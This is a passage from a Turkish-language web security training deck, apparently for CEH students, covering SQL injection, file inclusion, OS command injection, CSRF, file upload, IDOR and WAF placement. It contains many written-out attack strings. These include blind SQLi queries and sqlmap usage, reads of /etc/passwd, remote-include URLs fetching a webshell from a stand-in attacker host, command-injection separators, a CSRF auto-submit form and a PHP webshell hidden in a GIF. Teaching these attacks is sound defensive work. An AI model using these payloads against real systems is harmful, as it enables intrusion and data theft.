  • 128. BGA | CEH @BGASecurity Kör SQL Injection /urundetay.aspx?id=5 and ord(mid(version(), 7, 1)) > 111 select * from products where id=5 and ord(mid(version(), 7, 1)) > 111 98 5.0.51b-community-nt b HATA SAYFASI 95 127 111
  • 129. BGA | CEH @BGASecurity Sql Injection İstismar Araçları  Sqlmap  Absinthe  Pangolin  Sqifinder  Sqlninja  Havij
  • 130. BGA | CEH @BGASecurity SqlMap  Açık kaynak kodlu gelişmiş Sqli istismar aracı  Python kullanılarak geliştirilmiştir.  Bilinen tüm SQLi tiplerini destekler  Kimlik doğrulama gerektiren ekranlar için cookie ile tarama desteği sunar  Bilinen tüm veritabanı sistemlerini destekler  İşletim sistemlerinden shell alma, google’dan arama özellikleri vardır.  WAF, IPS atlatma amaçlı tamper script yazımını destekler.
  • 131. BGA | CEH @BGASecurity Havij SQLi İstismar Aracı
  • 132. BGA | CEH @BGASecurity Sqlmap ile Sql İnjection İstismarı  ./sqlmap.py -u 'http://testasp.vulnweb.com/showforum.asp?id=0' -p id –dbs
  • 133. BGA | CEH @BGASecurity Mysql üzerinden local dosya okuma  Mysql’e komut satırından bağlantı kurulur. mysql -u root –p veya mysql remote_ip –u root –p  Ardından aşağıdaki komut ile local dosyalar okunabilir. select load_file('/etc/passwd'); --
  • 134. BGA | CEH @BGASecurity Code Injection  Saldırganın hedef web uygulaması üzerine zararlı kod veya kod parçacığı eklemesidir.  Büyük çoğunlukla PHP tabanlı uygulamalar da bulunsa da JEE/ASP.NET uygulamalarında da görmek mümkündür.
  • 135. BGA | CEH @BGASecurity PHP Include  Karmaşık kodları daha iyi yönetebilmek için modülariteyi arttırmak amacı ile PHP çatısında, bir PHP dosyasına başka bir PHP dosyasının dahil edilmesi özelliği vardır.  Bu işlem için aşağıdaki fonksiyonlar kullanılır  include(dosya_ismi)  require(dosya_ismi)  include_once(dosya_ismi)  require_once(dosya_ismi)
  • 136. BGA | CEH @BGASecurity PHP Include - Örnek <html> <body> <?php include 'header.php'; ?> <h1>Merhaba <?php echo $user ?> Ana sayfaya Hoşgeldiniz...</h1> ... <?php $user = $_SESSION[‘user’]; ?> header.php index.php
  • 137. BGA | CEH @BGASecurity PHP Include - Örnek <html> <body> <?php $user = $_SESSION[‘user’]; ?> <h1>Merhaba <?php echo $user ?> Ana sayfaya Hoşgeldiniz...</h1> ... index.php header.php dosyası içeriği kopyalandı ve index.php dosyasına yapıştırıldı.
  • 138. BGA | CEH @BGASecurity Code Injection - PHP  PHP include/require fonksiyonlarına giden parametre değerleri saldırganlar tarafından değiştirilebilirse,  Diğer sistem ve uygulama dosyaları da çalıştırılacak PHP dosyaları içine kopyalanıp, saldırgana cevap olarak dönebilir.
  • 139. BGA | CEH @BGASecurity Code Injection - Senaryo /index.php?lang=tr <?php $language = $_REQUEST[‘lang’]; include($language.”.php”); … ?> index.php <?php … ?> tr.php sonuç 1 2 3
  • 140. BGA | CEH @BGASecurity Code Injection - Saldırı - LFI /index.php?lang=/etc/paswd%00 <?php $language = $_REQUEST[‘lang’]; include($language.”.php”); … ?> index.php root:: guvenlikod:: … /etc/passwd sonuç 1 2 3
  • 141. BGA | CEH @BGASecurity Code Injection - Saldırı - RFI /index.php?lang=http://www.saldirgan.com/webshell.txt? <?php $language = $_REQUEST[‘lang’]; include($language.”.php”); … ?> index.php sonuç 1 4 www.saldirgan.com php web shell 2 3
  • 142. BGA | CEH @BGASecurity Örnek Saldırı String’leri RFI-Remote File Inclusion: Uzaktan kod çağırma/dosya dahil etme LFI-Local File Inclusion: Server içinden kod çağırma/dosya dahil etme ?id=http://saldirgan.com/myshell.txt%00 ?id=http://saldirgan.com/myshell.txt? ?id=../../../uploads/myshell.txt ?id=../../../uploads/myshell.txt%00 142
  • 143. BGA | CEH @BGASecurity Diğer Denetim Teknikleri 143 ?file=.htaccess content.php?file=content.php ?file=../../../../../var/log/apache/error.log%00 ?file=[http|https|ftp]://saldirgan_sunucu/shell.txt%00 ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo= ?file=http://127.0.0.1/yol/xss.php?param=phpkodu
  • 144. BGA | CEH @BGASecurity DirectoryTraversal  Nam-ı diğer Path Traversal  Sebep:Yetersiz girdi kontrolü(filtreleme)  Amaç:ulaşılması normalde mümkün olmayan dosyalara ulaşma (../../../etc/passwd, ....)
  • 146. BGA | CEH @BGASecurity Fimap ile Otomatik RFI/LFI  PHP uygulamalarında otomatik RFI ve LFI bulmak için Python ile yazılmış bir araçtır.  http://code.google.com/p/fimap/  >= Python 2.4  Versiyon alpha_09
  • 147. BGA | CEH @BGASecurity Fimap - Örnek python fimap.py -u http://sunucu/index.php?pg= -x python >=2.4gereksinimi Parametreler ile beraber denetlenecek URL Başarılı saldırı sonrası interaktif bir oturum açılması
  • 148. BGA | CEH @BGASecurity Fimap - Reverse Shell 1 2 4 3 5
  • 149. BGA | CEH @BGASecurity OS Commanding  Uygulamalar geliştirilirken işletim sistemi komutları çalıştırma ihtiyacı olabilir.  Örn: Popüler komut satırı Unix/Linux/Windows uygulamalarına web arayüzü yazılması; ▪ iptables, asterisk, qmail, v.b.  Yetersiz girdi kontrolü nedeniyle saldırganın hedef web uygulamasını kullanarak işletim sisteminde komutlar çalıştırması OS Commanding olarak adlandırılır.
  • 150. BGA | CEH @BGASecurity OS Commanding - Ön Bilgi KULLANICI KOMUT SATIRI İŞLETİM SİSTEMİ DONANIM
  • 151. BGA | CEH @BGASecurity OS Commanding - Ön Bilgi ls -al dir .
  • 152. BGA | CEH @BGASecurity OS Commanding - Unix -| ls -al | ping www.bga.com.tr
  • 153. BGA | CEH @BGASecurity OS Commanding - Windows -| dir C: | ping www.bga.com.tr
  • 154. BGA | CEH @BGASecurity OS Commanding - Unix - ; ls -al ; ping www.bga.com.tr
  • 155. BGA | CEH @BGASecurity OS Commanding - Windows - & dir . & ping www.bga.com.tr
  • 156. BGA | CEH @BGASecurity OS Commanding - Tanım  Uygulamalar geliştirilirken işletim sistemi komutları çalıştırma ihtiyacı olabilir.  Örn: Popüler komut satırı Unix/Linux/Windows uygulamalarına web arayüzü yazılması; ▪ iptables, asterisk, qmail, v.b.  Yetersiz girdi kontrolü nedeniyle saldırganın hedef web uygulamasını kullanarak işletim sisteminde komutlar çalıştırması OS Commanding olarak adlandırılır.
  • 157. BGA | CEH @BGASecurity OS Commanding - Senaryo 1. Komut 2. Komut 3. Cevap4. Sayfa + Cevap UYGULAMA
  • 158. BGA | CEH @BGASecurity OS Commanding - WorkCentre
  • 160. BGA | CEH @BGASecurity www.webguvenligi.org function=HTTP_IP_Restriction_Update&Protocol=tcp&Action=ACCEP T | ping www.webguvenligi.org&Chain=INPUT&Interface=eth0&SourceIP=1.2. 3.4&Dport=80&SrcPort=443 OS Commanding - WorkCentre iptables -A -p -i -s -j tcp INPUT eth0 1.2.3.4 ACCEPT |ping
  • 161. BGA | CEH @BGASecurity OS Commanding - Test Teknikleri ?id=| dir C: ?id=|| dir C: ?id= & dir C: ?id= && dir C:
  • 162. BGA | CEH @BGASecurity CSRF:Cross Site Request Forgery  CSRF:Cross Site Request Forgery  Sebebi: Yetersiz girdi kontrolü  Sonuçları: İstem dışı yetkili olaylar  E-posta adresinin başkasına yönlendirilmesi  Kullanılan ADSL modemin DNS adreslerinin değiştirilmesi  Paypal üzerinden otomatik bağış işlemleri
  • 163. BGA | CEH @BGASecurity Cross Site Request Forgery - CSRF 1. Kurban A sitesine giriş yapar, 2. Kurban zehirli B sitesini tarayıcısında açar, 3. B sitesi Kurbanın tarayıcısına yüklenir yüklenmez, A sitesine istek yapar, 4. A sitesi gelen istekleri Kurbanın yaptığını kabul eder ve işleme alır.
  • 164. BGA | CEH @BGASecurity CSRF – Ön Bilgi Bir web sitesi diğer sitelere istek gönderebilir <img src=“http://banka.com/index.aspx?data=1”/> <form action=http://banka.com/index.aspx> <input name=data type=hidden value=1/> </form> <script> forms[0].submit(); </script> <iframe src=“http://banka.com/index.aspx?data=1”/> GETPOST
  • 165. BGA | CEH @BGASecurity CSRF – Ön Şart HTTP/1.1 200 OK Set-Cookie: .ASPXAUTH=78JDAA765462A Content-Length: 55 … POST /login.aspx HTTP/1.1 Host: www.banka.com Content-Length: 55 username=usr&password=web HTTP/1.1 200 OK Content-Length: 324 … POST /transfer.aspx HTTP/1.1 Host: www.banka.com Cookie: ASPXAUTH= 78JDAA765462A Content-Length: 62 fromHsp=1&mktr=5&toHsp=09
  • 166. BGA | CEH @BGASecurity CSRF – Saldırı 200 OK HTTP/1.1 Content-Length: 1255 … <form action=http://www.banka.com> … </form> GET /blog HTTP/1.1 Host: blog.teknoloji.com 200 OK HTTP/1.1 Content-Length: 324 … POST /transfer.aspx HTTP/1.1 Host: www.banka.com Cookie: .ASPXAUTH=78JDAA765462A Content-Length: 65 fromHsp=1&mktr=3&toHsp=7
  • 167. BGA | CEH @BGASecurity CSRF – Confused Deputy TARAYICI YetkiliTransfer YetkisizTransfer ? ŞaşkınVekil
  • 168. BGA | CEH @BGASecurity CSRF – Örnek <iframe style="width: 0px; height: 0px;" name="hidden"></iframe> <form method="post" name="csrf" target="hidden" action="http://amazon.com/gp/product/handle-buy-box" > <input type="hidden" name="ASIN" value="059600656X" /> <input type="hidden" name="offerListingID" value=“X.Ogqf" /> </form> <script> document.csrf.submit(); </script>
  • 169. BGA | CEH @BGASecurity CSRF - Önlem - Synchronizer Token <form method="post" > <input type="hidden" name="csrf" value="A2355GGras!123" /> <input type="text" name="fiyat" /> <input type="submit" value="GÖNDER" /> </form> <a href="/iptal.htm?urunid=1223&csrf=A2355GGras!123 " ></a>
  • 170. BGA | CEH @BGASecurity CSRF – Önlem – Akış /ilk.do 1. CSRF token üret (A24!Fe) 2. SessionID ile ilişkilendir 3. Sayfa içinde gönder csrf=A24!Fe SessionID /transfer.do?csrf=A24!Fe CSRF token'ları karşılaştır
  • 171. BGA | CEH @BGASecurity CSRF - Manuel Test Tekniği  Denetlenen uygulamaya girilir,  Kişisel web proxyler kullanılarak istekler yapılır,  Uygulamadan çıkmadan, web proxy istek/cevap listesinden hassas sonuçlu işlemler tekrarlanır,  Tekrarlanan işlem sonucu orijinal cevap ile aynıysa, CSRF zafiyetinden bahsedilir. 171
  • 172. BGA | CEH @BGASecurity Cookie Testleri- Oturum Yönetimi  HTTP oturumları cookiler aracılığıyla yönetilir  Cookie değeri olarak kullanıcıların değiştirebileceği anlaşılır bilgiler verilmemesi gerekir.  Admin=true  Login=true/false  Logged_in=1  Oturum bilgisi istemci tarafında değil sunucu tarafında tutulmalıdır  Cookie olarak seçilen değer tahmin edilemez biricik değerlerden oluşmalıdır
  • 173. BGA | CEH @BGASecurity Parameter Pollution Açıklığı  http://www.example.com/Messages/Message.asp?t=i&c=y&m= <img s&m=rc=&m=ab&m=onerror=prompt(1)&m=>
  • 174. BGA | CEH @BGASecurity Two Factor Auth Bypass  SMS ile giden parola dönen response içerisinde bir yerlerde geçebilir.  SMS ile gönderilen parola için araya girilerek Cep tel değiştirilebilecek bir yer varsa saldırgan kendi cep telefonuna SMS attırabilir.
  • 175. BGA | CEH @BGASecurity Parolaların şifreli tutulduğunu belirleme  Parola unuttum özelliği kullanılarak gönderilen yeni parola eskisi ile aynıysa parola bilgisi şifresiz tutuluyor demektir.  Parola resetleme sonrası gelen yeni parola eskisinden farklı ise parola şifreli tutuluyor olabilir  Ya da parola oluşturma sistemi her seferinde değişik parola üretecek şekilde yapılandırılmıştır
  • 176. BGA | CEH @BGASecurity Öntanımlı Parola Denetimi  Sık kullanılan user/pass ikilileri denenmeli  Tomcat, Jboss gibi bilinen uygulamalara ait öntanımlı parolalar denenmeli
  • 179. BGA | CEH @BGASecurity File Upload Fonksiyonu Testleri  File upload özelliğinin tespit edilmesi ve güvenlik açısından irdelenmesi gerekli.  Özellikle java ortamlarında .war dosyalarının upload edilip edilmediği kontrol edilmeli. Başarılı ise cmd.war benzeri shell uygulamlar atılabilir.  Dosya uzantısı client tarafında kontrol ediliyorsa atlatmak mümkündür.  Dosya uzantısı hatalı kontrol edilmiş ise cmd.jpg.php gibi bir shell upload edilebilir.
  • 180. BGA | CEH @BGASecurity Gif İçerisine Php Kodu Yerleştirme  gifsicle --comment "<?php system($_GET['cmd']); ?>" < test.gif > test.php.gif
  • 181. BGA | CEH @BGASecurity Information Leakage  En sıcak örneği OpenSSL heartbleed açıklığı  OpenSSL üzerindeki bilgi açığa çıkarma açıklığı kullanılarak SSL akan trafikler okunabilmiş ve kullanıcılara ait username/password , eposta vs. okunabilmiştir.
  • 182. BGA | CEH @BGASecurity Insecure Direct Object Ref.(IDOR) Açıklığı  Integer veya string bir değeri değiştirerek yetkisiz içeriklere erişim.  Genellikle id benzeri bir değeri değiştirerek diğer kullanıcı bilgilerine (fatura,kişisel bilgi vs.) erişim gerçekleştirme  Fuzzing işlemine tabi tutularak tüm datalar ele geçirilebilir.  https://esube.bgabank.com/ebank/aux/dekont.aspx?FisNumara si=20131109292&pSubeAdi=&Sube=&HesapNo=101160000000 020&Tarih=10.01.2013
  • 183. BGA | CEH @BGASecurity Remote Code Execution  Hedef sistem üzerinde parametre olarak alınan değerlerin sistem komut satırına gönderilmesi durumlarında ortaya çıkar  Çok karşılaşılan bir açıklık olmamakla beraber zaman zaman çok kritik sistemlerde çıkmaktadır.
  • 184. BGA | CEH @BGASecurity WAF Atlatarak RCE Çalıştırma  http://www.example.com/bWAPP/phpi.php?message=BGA;syste m('cd+/etc/;cat+passwd’) //system()  http://www.example.com/bWAPP/phpi.php?message=BGA;echo+ shell_exec('cd+/etc/;cat+passwd') //shell_exec  http://www.example.com/bWAPP/phpi.php?message=BGA;echo `cd+/etc/;cat+passwd` //bash script  http://www.example.com/bWAPP/phpi.php?message=BGA;passt hru('cd+/etc/;cat+passwd’) //passthru()
  • 185. BGA | CEH @BGASecurity Hata Mesajlarından Hassas Bilgi Çıkarma  Hata sayfalarından path bilgisi, source kod, username/password,kullanılan uygulama versiyon v.b bilgiler elde edilebilir.  Uygulamalara olmayan sayfalarda veya hata üretilmesi gereken girdiler uygulamaya sağlandığında kendi özel hata sayfasının bastırılması gerekir.
  • 186. BGA | CEH @BGASecurity Hata Mesajlarından Bilgi Toplama - I  https://crackstation.net/admin //Özel geliştirilmiş bir hata mesajı 
  • 187. BGA | CEH @BGASecurity Dizin Listeleme Etkilediği dizine ait tüm alt içerikler görülebilir.
  • 188. BGA | CEH @BGASecurity Java Applet Tespiti (.jar)  Stored kullanıcı adı ve parolalar için.  Crawling ile bulunamayacak URL’lerin tespiti ve teknik açıklıkların tespiti.
  • 189. BGA | CEH @BGASecurity Java Applet Decompile Java decompiler uygulaması ile kaynak kodlar incelenbilir.
  • 190. BGA | CEH @BGASecurity Flash(.swf) DosyaTespiti  Kaynak koddan .swf olarak aratılarak ilgili bağlantıları bulunur.  İlgili bağlantı açıldıktan sonra save as yapılarak locale indirilebilir. Otomatize taramalar için;  Owasp Swf Intruder  Hp SwfScan
  • 191. BGA | CEH @BGASecurity Flash(.swf) Dosya Decompile - Swfscan
  • 192. BGA | CEH @BGASecurity Captcha Bypass  Captcha her seferinde değişiyormu?  Captcha sonucu her seferinde değişiyormu (Sayı toplatıp sonucu hep 71 çıkarabilir.)  Üretilen captcha birden fazla istekte kullanılıyor mu?  Captcha text formatında ise kaynak kodda gözükebilir bu değer ile bypass edilebilir.
  • 193. BGA | CEH @BGASecurity Web’e Yönelik Saldırıları Engelleme  Web saldırıları 80/443 port üzerinden gelmektedir  Güvenlik duvarlarında 80/443 portları açıktır ve gelen saldırı paketleri rahatlıka Firewall’dan geçecektir  Firewall+IPS kullanılıyorsa port 80 içeriğine bakılabilir  IPS kullanılarak statik koruma sağlanır  Açıklığı bilinen uygulamalara yönelik geliştirilmiş imzalarla
  • 194. BGA | CEH @BGASecurity Web Saldırılarında Firewall/IPS Atlatma Kaynak:Kevvie Fowler
  • 195. BGA | CEH @BGASecurity Web Application Firewall  HTTP’e özel uygulama seviyesi güvenlik duvarı  Klasik Firewall/IPS’lerden farklı olarak HTTP protokolü ve buna uygun çalışan yazılımlara detaylı erişim kontrolü  Imperva, modsecurity, Breach Security, F5, Citrix Netscaler ...
  • 196. BGA | CEH @BGASecurity WAF – Güvenlik Modelleri WAF Çalışma Yapısı Positive Sec.Model Negatif Sec. Model Öğrenme Tabanlı
  • 197. BGA | CEH @BGASecurity WAF Yerleşim Senaryoları  WAF için temelde dört yerleşim senaryosu vardır.  inline bridge  Offline(passive)  Integrated  Reverse proxy
  • 198. BGA | CEH @BGASecurity Bridge Yerleşim Modeli  WAF cihazının web sunucuların önüne bridge modda yerleştirilerek trafiği üzerinden geçirmesi ve incelemesi sağlanır(IPS benzeri)  Ağ cihazlarında, web sunucularda ya da dns sunucularda herhangi bir değişiklik yapılması gerekmez.
  • 199. BGA | CEH @BGASecurity Offline(passive) Yerleşim Modeli WAF cihazı web sunucuların olduğu switch mirrorlarak ya da hub aracılığı ile bağlanır ve pasif olarak web sunuculara giden trafiğin bir kopyasını alır.(IDS benzeri) Alınan kopya trafik üzerinde detaylı paket analizi yapılarak zararlı istekler için cevap üretilir, bu cevaplarTCP RST paketleridir.
  • 200. BGA | CEH @BGASecurity Bütünleşik Yerleşim Modeli  En basit WAF yerleşimidir ve tamamen çalışan işletim sistemine, web sunucusuna bağlıdır.  Microsoft IIS için kullanabileceğiniz xyz ürününü Linux üzerinde ya da Windows üzerinde Apache için kullanamazsınız  Özellikle korunacak sistemlerin sayısı fazla değilse bu tip bir yazılım tercih edilebilir.
  • 201. BGA | CEH @BGASecurity Reverse Proxy Yerleşim Modeli  Proxy mantığı ile çalışır.  Web sayfasına ulaşmaya çalışan tüm istemciler web sunucu yerine reverse Proxy modundaki WAF sistemine ulaşır ve kontrolden geçtikten sonra sunucuya ulaştırılır  Diğer yöntemlere göre altyapıda en fazla değişiklik gerektiren modeldir.  Sağlıklı çalışacak bir yapı için dns, web sunucu ve network ayarlarında değişiklik gerektirir.
  • 202. @BGASecurity bgasecurity.com | @bgasecurity Devamı için sonraki bölümlere geçiniz.